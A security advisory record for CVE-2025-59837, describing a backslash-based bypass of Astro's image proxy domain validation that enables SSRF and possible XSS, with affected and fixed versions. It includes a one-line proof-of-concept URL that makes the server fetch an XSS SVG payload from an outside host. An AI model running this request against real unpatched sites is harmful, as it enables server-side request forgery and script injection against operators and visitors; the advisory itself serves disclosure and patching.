Advisory

GHSA-qcpr-679q-rhm2

Also known as: CVE-2025-59837

Summary

Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Details

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC
https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

Severity

High Basis: The source's own band: HIGH

Dates

Published
2025-10-28 17:45 UTC
Modified
2025-10-29 14:48 UTC

Affected packages and fixes

astro

npm · All systems

Affected

  • introduced 5.13.4, fixed 5.13.10 (semver)

Fixed versions

5.13.10

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences